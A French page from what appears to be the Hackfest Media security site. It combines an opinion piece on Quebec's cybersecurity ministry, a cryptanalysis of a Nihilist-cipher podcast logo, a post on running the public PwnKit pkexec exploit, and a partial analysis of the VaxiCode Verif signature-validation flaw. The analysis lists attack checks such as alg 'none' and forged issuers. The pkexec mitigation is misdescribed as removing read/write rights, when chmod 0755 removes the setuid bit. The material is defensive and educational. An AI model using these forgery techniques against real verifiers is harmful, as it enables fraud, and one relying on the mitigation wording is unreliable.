Tous les articles publiés depuis 2009 sont toujours là, et les anciens liens fonctionnent encore. Chaque article est publié en français et en anglais.

Ce que vous trouverez ici

Les articles sont classés en huit catégories :

• Nouvelles & opinion : l’actualité cyber d’ici et nos prises de position.
• Rançongiciels : les attaques et les groupes criminels qui ciblent le Québec et le Canada.
• Vulnérabilités : analyses de failles, divulgations et correctifs.
• Fuites & vie privée : fuites de données, mots de passe et renseignements personnels.
• Politique & réglementation : lois, organismes de réglementation et décisions gouvernementales.
• Outils & projets : les projets et outils publiés par la communauté.
• Walkthroughs & CTF : solutions de défis et de salles d’entraînement.
• Cryptographie & énigmes : chiffrement, énigmes et casse-têtes.

Nos réseaux sociaux, au même endroit

Les commentaires et les opinions qu’on publie sur nos réseaux sociaux seront désormais publiés ici aussi. Un fil sur LinkedIn ou sur Mastodon disparaît vite. Ici, il reste, avec ses sources, et il est facile à retrouver, à citer et à partager.

Le podcast securite.fm

Les extraits importants et les épisodes marquants du podcast securite.fm auront aussi leur place sur Hackfest Media, avec le contexte et les liens pour aller plus loin.

Commanditer Hackfest Media

Hackfest Media peut être commandité. Vous voulez appuyer un média indépendant et rejoindre directement la communauté de la sécurité de l’information au Québec? Les forfaits et les tarifs sont sur la page Commanditer.

Écrivez avec nous

Vous avez une nouvelle, une analyse ou une opinion à partager? Proposez un article. Et pour suivre ce qu’on publie, abonnez-vous au flux RSS ou rejoignez la communauté sur Discord.

SourceLe PQ démantèle le ministère de la Cybersécurité et du Numériqueici.radio-canada.ca ↗

Québec démantèle le ministère de la Cybersécurité et du Numérique du Québec (MCN) et confie la sécurité de l’État à un ministre sans expérience en cybersécurité, en TI et en sécurité de l’information… et ce, en pleine guerre informatique contre des villes, l’énergie et les géants de l’alimentaire.

Le démantèlement a été fait sans projet de loi. Pas de vote à l’Assemblée nationale, et ses 2 038 employés relèvent maintenant du Secrétariat du Conseil du trésor (SCT).

Le ministre qui hérite de la cybersécurité de l’État, Alain Therrien, est économiste. Il n’a AUCUNE expérience en TI, en cybersécurité ou en sécurité de l’information. Sauf 5 mois comme critique de l’opposition en 2015, où il critiquait la gestion des budgets. On s’entend, tous les projets gouvernementaux ont un problème de budget.

Mais un rançongiciel se fout pas mal de vos appels d’offres gouvernementaux.

On ne demande pas un ministre qui programme. On demande quelqu’un, quelque part, avec une dizaine d’années d’expérience dans le domaine, qui sait de quoi il parle.

Sources

• Le démantèlement du MCN radio-canada.ca ↗
• Le rôle du dirigeant principal de l’information legisquebec.gouv.qc.ca ↗
• Le parcours d’Alain Therrien assnat.qc.ca ↗
• Ses interventions sur l’informatique en 2015 (Commission des finances publiques)
  • Séance du 15 mai 2015 assnat.qc.ca ↗
  • Séance du 23 octobre 2015 assnat.qc.ca ↗
• Sa déclaration sur les contrats informatiques moncarnet.com ↗
• « Garder les cordons de la bourse serrés » lereflet.qc.ca ↗
• La CAI ne publie plus la liste des incidents de confidentialité gowlingwlg.com ↗
• La CAI juge ses ressources insuffisantes cai.gouv.qc.ca ↗
• La recommandation no 1 du rapport Gallant lapresse.ca ↗

INCOMPÉTENCE. Il n’y a pas d’autre mot.

Santé Québec invente la compression d’heures, une vraie farce!

• Un dev l’a codée.
• Un gestionnaire de projet l’a approuvée.
• L’administration l’a signée.
• Et c’est parti en production. 🤡

Ce n’est pas un bogue, c’est une feature, issue d’une série d’échecs.

🎥 L’entrevue de Jean-René Dufort : https://www.facebook.com/reel/1434156314822606

Depuis ses débuts, le logo du podcast La French Connection arbore un message chiffré. Bien des gens ont rêvé de percer le mystère de ce chiffre. Avis à ceux qui ne veulent pas briser la magie, ne lisez point une ligne de plus car ce texte dévoile les secrets et le message derrière ce logo. (1)

Analyse

Les amateurs du podcast La French Connection ont remarqué depuis longtemps que le logo du dit podcast présente, en son bas, une mystérieuse inscription qui recèle sans aucun doute un message secret (Figure 1).

Le message chiffré

Le mystérieux chiffre est composé de 25 nombres hexadécimaux. Il est souvent plus facile de convertir les nombres hexadécimaux en nombre décimaux. CyberChef se charge très bien de ce genre de besogne (Table 1).

Figure 1 : Logo du podcast La French Connection.

Table 1 : Mystérieux chiffre.

 4E 39 44 60 35 63 3B 19 24 55 62 3A 2E 4F 56 42 4F 2D 21 3F 62 1C 26 3C 5F
 78 57 68 96 53 99 59 25 36 85 98 58 46 79 86 66 79 45 33 63 98 28 38 60 95

Fréquences

Puisque nous mettons déjà à profit CyberChef, aussi bien en profiter pour faire une analyse en fréquence. La Figure 2 montre le résultat de cette analyse. On constate que sur 25 nombres, seulement deux sont répétés (4F et 62). En même temps, la séquence n’est pas aléatoire puisque les valeurs ne sont pas réparties uniformément sur la plage des 256 nombres possibles (de 00 à FF).

Figure 2 : Analyse de la fréquence des nombres.

Ces résultats nous permettent d’exclure un chiffrement moderne ou une fonction de hachage qui produirait des données plus uniformes. De plus, on n’a pas non plus affaire à un simple chiffre de substitution puisqu’il y a peu de répétitions. Le message chiffré étant très court, il est difficile de faire une analyse statistique plus poussée ou d’utiliser la force brute sans avoir identifié la méthode de chiffrement.

En regardant plus attentivement les nombres décimaux, on remarque qu’aucun ne se termine par 1, 2 ou 4. De plus, les chiffres des unités ne sont pas répartis uniformément, tel qu’illustré à la Table 2. La répartition du chiffre des dizaines est un peu plus uniforme, mais on note l’absence de tout chiffre plus petit que 20 (Table 3).

Table 2 : Répartition du chiffre des unités.

 Unité       %
   0         4       
   3        12
   5        16
   6        20
   7         4
   8        28
   9        16

Table 3 : Répartition du chiffre des dizaines.

 Dizaine       %
    2          8
    3         12
    4          8
    5         16
    6         16
    7         12
    8          8
    9         20

À la recherche du chiffre perdu

Avec les quelques informations obtenues, il est possible d’explorer plusieurs pistes pour tenter d’identifier le chiffrement utilisé. Les nombres du chiffre ont très certainement été créés à l’aide de règles mathématiques simples qui leurs confèrent les caractéristiques observées. Un bon endroit pour débuter la recherche pour identifier le chiffre est dCode. Ce site une ressource précieuse pour en apprendre plus sur les codes et le chiffrement. Il offre non seulement des descriptions très détaillées de plusieurs dizaines de chiffremements classiques, mais aussi des outils pour encoder, décoder et briser certains d’entre eux.

Polybe

Nous avons probablement affaire à un chiffre de substitution ou de transposition qui inclu des éléments additionnels pour rendre le déchiffrage plus difficile. La méthode la plus amusante pour identifier le chiffrement utilisé est de passer de longues heures à explorer les différents chiffres classiques, à lire leurs descriptions et à chiffrer et déchiffrer différents messages. C’est aussi la méthode demandant le plus de temps. Si vous l’utilisez, vous finirez probablement par tomber sur le chiffre de Polybe qui utilise le carré de Polybe, une grille de 5x5 associant chacune des lettres de l’alphabet à un nombre entre 11 et

1. La Table 4 montre un carré possible. Comme il y a 26 lettres à l’alphabet, il faut en sacrifier une. Dans ce cas-ci on sacrifie le Z mais le J, V ou W sont aussi fréquemment rejetés.

Table 4 : Carré de Polybe.

           1       2       3       4       5
 1         A       B       C       D       E
 2         F       G       H       I       J
 3         K       L       M       N       O
 4         P       Q       R       S       T
 5         U       V       W       X       Y

Pour chiffrer un message à l’aide d’un carré de Polybe, il suffit de trouver la lettre dans le tableau et de la remplacer par le nombre formé par le numéro de ligne suivit par le numéro de colonne. Par exemple, la lettre Q sera remplacée par le nombre 42.

Polybe sur les stéroïdes

Afin de rendre la tâche plus difficile aux curieux, il est possible d’utiliser une clé pour changer l’ordre des lettres de la grille. Le mot utilisé doit avoir des lettres distinctes. On écrit les lettres de ce mot secret au haut de la grille et on continue avec les lettres restantes. Par exemple, avec la clé HACK on aurait le carré présenté en Table 5.

Table 5: Carré de Polybe avec la clé HACK.

         1       2       3       4       5  
 1       H       A       C       K       B
 2       D       E       F       G       I
 3       J       L       M       N       O
 4       P       Q       R       S       T
 5       U       V       W       X       Y

Le chiffre de Polybe présente une régularité dans les nombres utilisés, ce qui le rend facilement identifiable puisque seuls les nombre 11, 12, 13, 14, 15, 21, 22, 23, 24, 25, 31, 32, 33, 34, 35, 41, 42, 43, 44, 45, 51, 52, 53, 54, 55 sont utilisables.

Polybe ou pas Polybe? Là est la question!

Bien que le chiffre de Polybe présente des similitudes avec les caractéristiques de notre message, les nombres possibles ne correspondent pas. Nous avons donc affaire à un autre chiffre ou à une variation du chiffre de Polybe avec une grille différente.

En s’éduquant un peu plus sur le chiffre de Polybe, on constate qu’il est souvent associé au chiffre des Nihilistes qui est un surchiffrement du carré de Polybe. On peut reconnaitre le chiffre des Nihilistes grâce aux indices suivants:

• Contient uniquement des nombres entre 22 et 110.

• Ne contient aucun des nombres suivants:
  21, 31, 41, 51, 61, 71, 81, 91, 101.

• Le chiffre est associé à une quelconque référence à la Russie.

Mini OSINT

Les deux premières caractéristiques correspondent parfaitement au message secret au bas du logo, mais une mention quelconque de la Russie dans un épisode confirmerait le tout. Un peu de Google Fu ceinture blanche (logo site:securite.fm) nous révèle qu’on mentionne le message encodé dans le logo à l’épisode 0x017 (aux environs de la minute 40), tel qu’illustré à la Figure 3. Lors de cet épisode Damien, toujours gourmand, nous donne un indice: "Poutine"... À moins qu’il fasse référence à un autre type de "Putin", beaucoup moins digeste.

Figure 3 : L’épisode 0x017 mentionne le mystère du logo.

Chiffre des Nihilistes

Rendu célèbre par son utilisation par les nihilistes russes du 19ième siècle. Ce chiffre est simple à mémoriser et permet de transmettre un message de plusieurs façons. Par exemple, les prisonniers russes transmettaient des messages de ce type en cognant sur les murs de leurs cellules un nombre de fois qui correspondait à la rangée puis à la colonne de chaque lettre.

Fonctionnement

Le fonctionnement du chiffre des Nihilistes est simple:

1. On choisit un carré de Polybe, avec les lettres potentiellement dans le désordre grâce à une clé convenue d’avance. Par exemple, le carré de la Table 5.

2. On encode le message avec la grille. Chaque lettre se voit attribuée un chiffre correspondant à une ligne et une colonne. Le message "MESSAGESECRET" deviendrait par exemple: 33 22 44 44 12 24 22 44 22 13 43 22 45.

3. On choisit une clé de surchiffrement et on l’encode avec le carré de Polybe. Si on choisit "PLANET" comme clé, on aura 41 32 12 34 22 45.

4. On réécrit la clé encodée autant de fois que nécessaire sous le message encodé et on additionne les deux nombres comme dans la Table 6.

Table 6 : Surchiffrement.

   M    E    S    S    A    G    E    S    E    C    R    E    T
  ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ----
   33   22   44   44   12   24   22   44   22   13   43   22   45
   41   32   12   34   22   45   41   32   12   34   22   45   41
   74   54   56   78   34   69   63   76   34   47   65   67   86

On obtient alors un chiffrement par substitution auquel on additionne une clé de façon répétée. Au final, on aura un chiffrement polyalphabétique fractionné puisque deux lettres identiques peuvent être encodées de façon différente selon leur position dans le message.

Vulnérabilités

Le chiffre des Nihilistes comporte de multiples vulnérabilités dont celles ci-dessous:

• La clé de surchiffrement est répétée. Quand le message chiffré est plus long que cette clé, on peut observer des similitudes entre les blocs de texte de même longueur que la clé.

• Il y a un nombre limité de combinaisons pour les additions. Par exemple, le chiffre 80 ne peut être obtenu qu’avec les additions $25+55$ ou $35+45$.

• Plus les nombres sont grands ou petits, plus les possibilités sont limitées. Par exemple, 22 ou 110 ne peuvent être obtenus que si la lettre encodée est la même que celle de la clé de surchiffrement et que cette lettre est soit dans le coin supérieur gauche ou le coin inférieur droit de la grille, respectivement.

• Un nombre ayant un 0 à la position des unités indique que les nombres additionnés proviennent de la dernière colonne.

• Similairement, un nombre ayant un 2 à la position des unités provient d’une addition de nombres de la première colonne.

• Une fois la longueur de la clé identifiée et un espace de clé réduit, on peut trouver la clé (si c’est un mot), par déduction ou avec un dictionnaire.

• Une fois la clé de surchiffrement trouvée, le problème se réduit à un simple chiffre de substitution, un chiffre de Polybe.

La cryptanalyse du chiffre des Nihilistes sera grandement facilitée si le message codé est long et/ou si on possède un autre message décodé qui aurait été chiffré avec la même grille et la même clé de surchiffrement. Malheureusement, dans le cas présent, on n’a aucun de ces deux éléments facilitateurs.

Déchiffrement

Il y a très peu de répétitions dans le message codé, 78 57 68 96 53 99 59 25 36 85 98 58 46 79 86 66 79 45 33 63 98 28 38 60 95, ce qui indique que la clé de surchiffrement n’est probablement par trivialement courte (1, 2 ou 3 caractères).

Longueur de la clé

La première étape est de déterminer la longueur de la clé de surchiffrement ce qui nous donnera la période du chiffre. Un chiffre aura une période de 4 si une clé de 4 caractères est répétée pour le chiffrement puisque chaque bloc de 4 lettres utilisera la même clé.

Pour déterminer la longueur de la clé, on va créer des tableaux avec un nombre de colonnes correspondant à la longueur de clé que l’on désir tester. Par exemple, si on veut vérifier si une clé de 6 caractères est possible, on doit créer la Table 7 de 6 colonnes et y placer le message chiffré dans l’ordre.

Table 7 : Tableau pour tester si une clé de 6 caractères est possible.

 78   57   68   96   53   99
 59   25   36   85   98   58
 46   79   86   66   79   45
 33   63   98   28   38   60
 95                      

On doit créer un tableau de ce genre pour toutes les longueurs de clés de surchiffrement qu’on veut tester. Dans notre cas, entre 1 et 25 colonnes.

Pour chaque colonne d’un tableau, on applique l’algorithme ci-dessous. D’abord au chiffre des dizaines, puis au chiffre des unités. Si pour une colonne, cet algorithme retourne faux soit pour le chiffre des dizaines ou des unités, c’est qu’aucune addition n’est possible pour les combinaisons de nombres dans la colonne. La clé de surchiffrement ne peut donc avoir la longueur supposée.

Essentiellement, on vérifie que la différence entre le chiffre maximum et minimum est plus petite que 5. Si ce n’est pas le cas, c’est impossible qu’un même chiffre (entre 1 et 5) ait pu surencoder le chiffre des unités ou dizaines. Par exemple, si les chiffres des unités pour une colonne sont 2, 4, 7, 3, 4, la différence entre 7 et 2 est de

1. Or il est impossible de trouver deux chiffres tels que $x_1 + y = 7$ et $x_2 + y = 2$ où $1\leq x_i \leq 5$ et $1\leq y \leq 5$

array $A \gets$ chiffres des unités ou dizaines

for all 𝑛 ∈ {0, . . . , 𝑎𝑟𝑟𝑎𝑦𝑙𝑒𝑛𝑔𝑡ℎ − 1} do

if 𝐴[𝑖] == 0 then

$A[i] \gets 10$

end if

end for

return max(A) - min(A) \< 5

Si on revient à la Table 7, on constate que les chiffres des dizaines pour la première colonne sont 7, 5, 4, 3, 9. On a une différence de 6 entre les chiffres maximum et minimum, donc aucune clé de 6 caractères n’aurait pu être utilisée.

Si on applique cette règle pour des tableaux de 2 à 25 rangées (à l’aide d’un script Python maison), on obtient des longueurs de clés possibles de 10, 20, 22, 23, 24 ou 25. Comme le message a 25 caractères, les clés de longueur entre 20 et 25 sont considérées comme possibles puisque dans ces cas la majorité des colonnes ne contiendront qu’un nombre. Par contre, elles sont peu probables puisque si la longueur de la clé est près de la longueur du message, on aura presque un chiffre de Vernam (one-time pad) ce qui serait pratiquement impossible à décoder sans connaitre la clé.

Dans ces circonstances, la longueur de la clé est fort probablement de 10.

Espace de clé

Une fois la longueur de la clé établie, on peut tenter de réduire l’espace de clé. En effet, avec le chiffre des Nihilistes, ce ne sont pas toutes les clés de 10 caractères qui sont possibles, mais seulement un nombre réduit de celles-ci. Pour limiter le nombre de clés possibles on a besoin de la Table 8 avec autant de colonnes que la longueur de la clé.

Table 8 : Tableau de 10 colonnes.

 78   57   68   96   53   99   59   25   36   85
 98   58   46   79   86   66   79   45   33   63
 98   28   38   60   95                      

Pour chacune des colonnes de ce tableau, on doit appliquer l’algorithme suivant qui produira la liste des nombres possiblement utilisés pour surchiffrer une colonne. Encore une fois, c’est une conséquence directe de l’utilisation du carré de Polybe qui limite le nombre des unité ou dizaines à un chiffre entre 1 et 5.

array $col \gets$ une colonne du tableau

$dizaineMin \gets 1$

$dizaineMax \gets 5$

$uniteMin \gets 1$ 

$uniteMax \gets 5$

for all 𝑛 ∈ 𝑐𝑜𝑙 do

$unite \gets n \mod 10$

if $unite == 0$ then

$uniteMin \gets 5$

$uniteMax \gets 5$

else if $unite < 7$ then

$uniteMin \gets 1$

$uniteMax \gets unite - 1$

else

$uniteMin \gets unite - 5$

$uniteMax \gets 5$

end if

array $unitesPossibles \gets \{uniteMin, \dots, uniteMax\}$

$dizaine \gets floor(n/10) \mod 10$

if $dizaine == 0$ then

$dizaineMin \gets 5$

$dizaineMax \gets 5$

else if $dizaine < 7$ then

$dizaineMin \gets 1$

$dizaineMax \gets dizaine - 1$

else

$dizaineMin \gets dizaine - 5$

$dizaineMax \gets 5$

end if

array $dizainesPossibles \gets \{dizaineMin, \dots, dizaineMax\}$

end for

return $combinaisons(dizainesPossibles, unitesPossibles)$

Si on applique cet algorithme à chaque colonne de la Table 8 , on obtient les possibilités de la Table 9 pour chacun des caractères de la clé de surchiffrement.

Table 9 : Espace de clé.

Position      Possibilités

    1         43, 44, 45, 53, 54, 55
    2               13, 14, 15
    3         13, 14, 15, 23, 24, 25
    4                   45
    5                 41, 42
    6             44, 45, 54, 55
    7         24, 25, 34, 35, 44, 45
    8             11, 12, 13, 14
    9             11, 12, 21, 22
    10        31, 32, 41, 42, 51, 52

Même si tous ces calculs sont faisables à la main, un script Python peut être une aide importante tant au point de vue temps, que santé mentale.

Des chiffres

Pour ce chiffre, on a donc une clé de 10 caractères chaque caractère ayant respectivement 6, 3, 6, 1, 2, 4, 6, 4, 4, et 6 possibilités. Le nombre de combinaisons possibles est de $6 \times 3 \times 6 \times 1 \times 2 \times 4 \times 6 \times 4 \times 4 \times 6 = 497664$. Parmi ces combinaisons, beaucoup ne sont pas des mots. On pourrait commencer par les exclure mais, au final, si la clé est aléatoire nous avons 497664 clés à tester.

De plus, si on ne veut pas devoir valider manuellement chaque test de déchiffrage, il faudrait automatiser le tout en comparant chaque bloc de 4 caractères d’une tentative de décodage aux quadrigrammes français et anglais (on présume que le message est dans une de ces deux langues) qui sont au nombre d’environ 400000 chacun. Notons qu’il y a 22 blocs de 4 caractères possibles dans une séquence de 25 caractères.

Finalement, rien ne nous certifie qu’un carré de Polybe totalement aléatoire n’a pas été utilisé pour la substitution initiale. Pour 26 lettres on a $26! \approx 4 \times 10^{26}$ carrés possibles.

On aura approximativement $497644 \times 400000 \times 400000 \times 22 \times 4 \times 10^{26} \approx 7 \times 10^{44}$ tests à faire.

Ça fait beaucoup de chemins à explorer, il faut donc réduire encore plus cet espace d’exploration en faisant plusieurs suppositions.

Suppositions

Pour débuter, on fera les suppositions suivantes:

1. La clé de surchiffrement est un mot. Probablement relié au podcast.

2. Le carré de Polybe utilisé est un des quelques carrés les plus connus (avec les lettres de l’alphabet pratiquement dans l’ordre).

3. La langue utilisée pour la clé et le message original est soit le français ou l’anglais.

4. L’algorithme des Nihilistes utilisé pour chiffer le message n’a pas été modifié pour compliquer le déchiffrement.

Trouver la clé de surchiffrement

Fort de ces suppositions, on peut enfin s’attaquer à la clé de surchiffrement. On présume que le carré de Polybe le plus commun, où on omet la lettre "J", a été utilisé (Table 10). Encoder le message avec ce carré impliquerait l’utilisation des lettres de la Table 11 pour chiffrer la clé.

Table 10 : Carré de Polybe présumément utilisé.

         1       2       3       4       5
 1       A       B       C       D       E
 2       F       G       H       I       K
 3       L       M       N       O       P
 4       Q       R       S       T       U
 5       V       W       X       Y       Z

Table 11 : Lettres possibles pour la clé.

 1       2       3       4       5       6       7       8       9      10
 S       C       C       U       Q       T       I       A       A       L
 T       D       D               R       U       K       B       B       M
 U       E       E                       Y       O       C       F       Q
 X               H                       Z       P       D       G       R
 Y               I                               T                       V
 Z               K                               U                       W

Les 10 lettres les plus communes dans les mots français sont e, a, i, s, n, r, t, o, l, u alors qu’en anglais il s’agit de e, t, a, o, i, n, s, h, r, d. Ne conservons pour l’instant que les lettres les plus communes pour les deux langues. En faisant ceci, on se rend presque immédiatement compte, si on a déjà joué au scrabble ou fait des mots cachés, qu’on a presque le mot SECURITÉ ou encore SECURITY (Table 12). Ce n’est très certainement pas un hasard.

Table 12 : Lettres possibles épurées.

 1       2       3       4       5       6       7       8       9       10
 S               C       U               T       I       A       A       L
 T       D       D               R       U                            
 U       E       E                               O                    
                 H                                       D               R
                 I                               T                    
                                                 U                    

Une bonne façon de vérifier si on est sur la bonne voie est d’utiliser cette clé de surchiffrement partielle pour décoder le message. L’utilisation de dCode accélère grandement ce genre de test puisqu’il permet de modifier rapidement soit le carré de Polybe, soit la clé. Comme il nous manque quelques lettres à la clé pour former un mot, on va les remplacer arbitrairement par la première lettre de chaque colonne. On obtient la clé SECURTTAAL. En utilisant celle-ci et la Table 10 pour tenter de déchiffrer le message on obtient PRZVAZEDKYZSNOTGPOGMZCKEX.

On remarque un petit mot anglais et quelques bigrammes communs en anglais dans le message partiellement décodé:
PRZVAZEDKYZSNOTGPOGMZCKEX.

C’est un grand pas puisqu’on a identifié la langue du message original. De plus, il y a plus de lettres "Z" qu’il ne faudrait dans ce message, ce qui laisse croire qu’il y a un problème avec le carré de Polybe utilisé. En consultant la liste des 10 lettres les plus communes en anglais on remarque que le "I", la cinquième lettre la plus utilisée dans cette langue, n’apparait jamais alors que le "Z" apparait à quatre reprises. Si on inverse les positions du "I" et du "Z" dans le carré de Polybe et qu’on tente à nouveau de décoder le message on obtient un message partiellement décodé avec encore plus de mots et mots partiels PRIVAIEDKYISNOTGPOGMICKEX.

À ce point, il est beaucoup plus facile d’essayer quelques autres clés que de tenter de modifier le carré de Polybe. En essayant avec les clés SECURITEAL et SECURITYAL on obtient:\

 SECURITEAL: PRIVATE?KYISNOTAP?GMICKEX
 SECURITYAL: PRIVATE?BIUYNNTQC?BHKVMVI?

La première tentative de clé, avec le mot en français, est clairement mieux même si deux lettres sont impossibles à décoder avec le carré de Polybe utilisé. Pour les deux dernières lettres de la clé, on peut soit utiliser la force brute et tester toutes les combinaisons possibles ou se souvenir (grâce à notre mini OSINT) que le site internet du podcast est securite.fm.

Avec la clé de surchiffrement "SECURITEFM", on décode le message PRIVATE?EXISNOTAP?BLICKEX qu’on peut deviner être "PRIVATEKEXISNOTAPUBLICKEY". Cependant, le message n’est pas totalement décodable avec cette clé. On peut facilement améliorer la situation en inversant les lettres "X" et "Y" dans le carré de Polybe pour obtenir la Table 13.

Table 13 : Carré de Polybe final.

         1       2       3       4       5
 1       A       B       C       D       E
 2       F       G       H       Z       K
 3       L       M       N       O       P
 4       Q       R       S       T       U
 5       V       W       Y       X       I

Avec cette clé et ce carré de Polybe, deux nombres dans notre séquence de chiffres initiale ne peuvent être décodés 78 57 68 96 53 99 59 25 36 85 98 58 46 79 86 66 79 45 33 63 98 28 38 60 95. Ils correspondent aux lettres aux positions 8 et 18 du message. Avec la clé de surchiffrement actuelle, le nombre 25 devrait être 10 puisqu’on devrait soustraire 15 (à cause du "E") et le nombre 45 devrait être 30, pour la même raison.

Or 10 et 30 ne peuvent être obtenus avec la clé et le carré de Polybe trouvés. Cependant, les nombres 25 et 45 correspondent aux lettres manquantes "K" et "U". Ces deux lettres n’ont tout simplement pas été surchiffrées avec la clé! Il s’agit soit d’une erreur involontaire ou d’une tentative de rendre le déchiffrement du message plus difficile. Au final, tous seront d’accord avec le message secret: "private key is not a public key".

Solution officielle

Après avoir validé le message secret avec les instances officielles de la French Connection. Les hautes autorités m’ont transmise la solution officielle que je vous communique. Un certain point dans celle-ci peut nous laisser perplexe :

1. Texte à encoder: PRIVATEKEYISNOTAPUBLICKEY
2. Jeu de caractères de clé: ABCDEFGHIJKLMNOPQRSTUVVVXYZ (w = VV)
3. Clé: SECURITE.FM
4. Encoder la réponse en hexa

Le tout a été encodé à l’aide d’un outil non spécifié, utilisant très certainement le chiffre des Nihilistes. Le point délicat dans cette solution étant bien évidement le point «.» entre SECURITE et FM. Il n’apparait nulle part dans les caractères utilisés dans le chiffre. Pourtant, l’outil utilisé a bien chiffré le message. Cette clé non conventionnelle explique probablement pourquoi deux lettres n’étaient pas encodées tel qu’attendu.

Ceci illustre la difficulté de déchiffrer un message encodé avec un algorithme et des outils inconnus. On n’est jamais à l’abris des surprises.

Références

• https://www.dcode.fr/chiffre-nihiliste

• https://gchq.github.io/CyberChef

• https://alexbarter.com/cryptanalysis/breaking-nihilist-substitution-cipher/

• http://www.crypto-it.net/eng/simple/nihilist.html

• http://www.benburlingham.com/core/articles/nihilist-cipher.html

(1) Ce travail est sujet à la licence WTFPL. Visitez http://www.wtfpl.net/ pour une copie complète de cette licence.

Je me suis réveillé ce matin avec un article très intéressant sur BleepingComputer : une nouvelle vulnérabilité a été divulguée qui affecte presque toutes les principales distributions Linux. Elle permet à n’importe quel utilisateur connecté d’élever facilement ses privilèges à ceux de root. Vraiment facilement !

Le problème a été découvert par les chercheurs de Qualys en novembre 2021, et grâce à une “divulgation responsable”, les fournisseurs ont pu publier un correctif (notez que toutes les distributions n’ont pas été corrigées, comme vous le verrez plus tard). Le bogue se trouve dans le module “pkexec”, qui fait partie du “Policy Toolkit” (ou Polkit en abrégé) et qui traite les demandes d’exécution de commandes en tant qu’autre utilisateur, comme “su”.

Il s’avère qu’il est très simple de contourner pkexec et d’élever ses privilèges à ceux de root. Un exploit a été publié pas moins de 3 heures après que Qualys ait publié ses conclusions. Curieux de voir si ma VM Kali Linux était vulnérable, j’ai fait une recherche rapide sur Google pour le code montré dans l’article de BleepingComputer ; il apparaît littéralement en 0,39 secondes et est le premier lien - c’est de l’excellent référencement, ça !

Comme vous pouvez le voir dans la vidéo ci-dessous, j’ai compilé le code et l’ai exécuté, et comme de juste : j’étais root !

Curieux de voir si Kali avait publié des mises à jour pour ce programme (cette VM a été mise à jour pour la dernière fois il y a environ une semaine, car je garde mes systèmes très à jour), j’ai exécuté la mise à jour complète et essayé l’exploit à nouveau. Malheureusement, il fonctionnait toujours, car la version de pkexec était toujours 0.105, la même qu’avant les mises à jour.

Si le fournisseur de votre distribution Linux n’a pas encore mis à jour son module pkexec, une solution décrite dans l’article consiste simplement à retirer les droits de lecture/écriture du fichier en utilisant “chmod 0755 /usr/bin/pkexec”.

Cela n’est pas aussi grave que la récente vulnérabilité de Log4j, bien sûr, car il serait très improbable qu’un serveur Linux connecté soit exposé à Internet (n’est-ce pas ???), mais cela met tout de même vos systèmes en danger face à des menaces internes, ou peut-être même face à un attaquant extérieur qui effectue des mouvements latéraux au sein de votre réseau. Un risque potentiel est qu’une organisation fournisse des identifiants de connexion à des techniciens informatiques pour exécuter des tâches simples sans nécessairement leur donner un accès root ; cet exploit leur permet d’élever très simplement leurs privilèges et de causer potentiellement des dommages.

Crédit photo: schill - licence CC BY

Comprendre les SMART Health Cards

La SMART Health Card (SHC), contenant les informations enregistrées dans votre code QR, est basée sur une technologie éprouvée connue sous le nom de JSON Web Signature (explicatif, spécification JWS).

Les JWS permettent, entre autres, la signature cryptographique de données arbitraires (le payload), ainsi que leur vérification à l’aide d’informations (les entêtes) contenues à même ces données, soit la clé publique et la méthode de signature.

Cette même technologie est utilisée pour bâtir d’autres technologies telles que JSON Web Token, la suite de spécifications Open ID, et autres, qui sont très fréquemment utilisés pour enregistrer des données hors d’un environnement contrôlé tout en assurant la validité vérifiable de celles-ci. Par exemple, si vous utilisez fréquemment les services Google, cette même technologie est utilisée pour vous connecter à ceux-ci de manière sécuritaire.

Le concept de signature implique une clé privée et une clé publique. L’entité (le gouvernement du Québec) qui publie les données (le code QR représentant le SHC) utilise la clé privée pour signer celles-ci, et les applications qui les consomment utilisent la clé publique (l’app VaxiCode Verif) pour valider que ces données n’ont pas été modifiées par une personne malveillante. Sans entrer dans les détails, les données signées sont ensuite considérées comme sûres et vérifiables. Pour plus d’informations, nous vous invitons à consulter cet article sur les signatures.

Maintenant que nous savons que les données du SHC sont inviolables, que contient votre code QR? Celui-ci contient quelques informations, appelées claims.

Un premier claim, iss ou issuer, identifie l’entité qui publie ces données. Un autre, iat ou issued at indique la date où elles ont été publiées. Enfin, un claim nommé vc ou verifiable credentials contient les informations cruciales du SHC.

Sont présents dans ces dernières le type de données que le SHC contient (données d’immunisation, contexte COVID-19 et autres), et une liste d’entrées.

Une en particulier décrit le patient (vous) dont fait l’objet le SHC. Dans celle-ci, se trouvent uniquement votre prénom, nom de famille ainsi que votre date de naissance.

Ensuite, pour chaque dose de vaccin reçue, vous trouverez aussi les informations décrivant quel vaccin a été reçu, à quelle date et le nom de l’endroit où l’injection a été réalisée.

La vulnérabilité

Revenons maintenant à la problématique principale, soit la vulnérabilité contenue dans les version 1.0.1 et antérieures de l’app VaxiCode Verif.

Celle-ci permettrait à l’application de valider des codes qui n’ont pas été émis par le gouvernement du Québec. Par là, on entend qu’une personne serait en mesure d’émettre et signer elle-même un SHC, par ce fait réussissant à déjouer la vérification faite par l’application que les données qui y sont incluses sont bel et bien véridiques (signature) et cautionnées par la seule autorité ayant actuellement la capacité d’émettre les SHC (claim iss).

Cette vulnérabilité a été rendue publique en premier le vendredi 27 août 2021 dans un article de Radio-Canada.

Avenues possibles de vulnérabilité

Avant de valider la vulnérabilité de l’application de vérification, parcourons plusieurs problèmes communs dans l’implantation de validations de JWS et technologies similaires qui pourraient permettre un tel résultat.

La vulnérabilité ayant été trouvée moins de 24h après la sortie de l’application, il est peu probable que les failles soient le résultat d’opérations très compliquées. Commençons par ces quelques vérifications de base:

1. Les clés publiques sont bel et bien utilisées pour valider le contenu du JWS?
2. La validation du claim iss se fait correctement?
3. Les JWK externes sont-ils téléchargés et utilisés?
4. Les clés sont-elles bien utilisées?
5. Serait-ce possible que des modes de signature non sécuritaires soient permis (spécifiquement, alg: "none")?

Outils utilisés

Les outils communs suivants ont été utilisés pour la majorité des tests:

• http-server pour servir des fichiers pendant les tests.
• ngrok pour rendre le serveur disponible publiquement.
• @pathcheck/shc-sdk pour facilement générer des SHC, JWKS et autres. Celle-ci utilise le package courant node-jose.
• Smart Health Card Scanner pour inspecter les SHC facilement.
• Une application de scan QR pour lire le contenu des codes QR.

Pour valider alg: "none" ceux-ci ont été ajoutés à la liste:

• node-jwa pour générer des JWS avec ce type d’algorithme.
• pako pour compresser le payload du JWS.

Vérifications

Utilisation de la clé publique du gouvernement et utilisation du claim iss

Pour commencer, un QR existant a été scanné pour obtenir la chaine de caractères composant le SHC. Ce dernier a été ouvert dans le Smart Health Card Scanner pour rapidement visualiser son contenu.

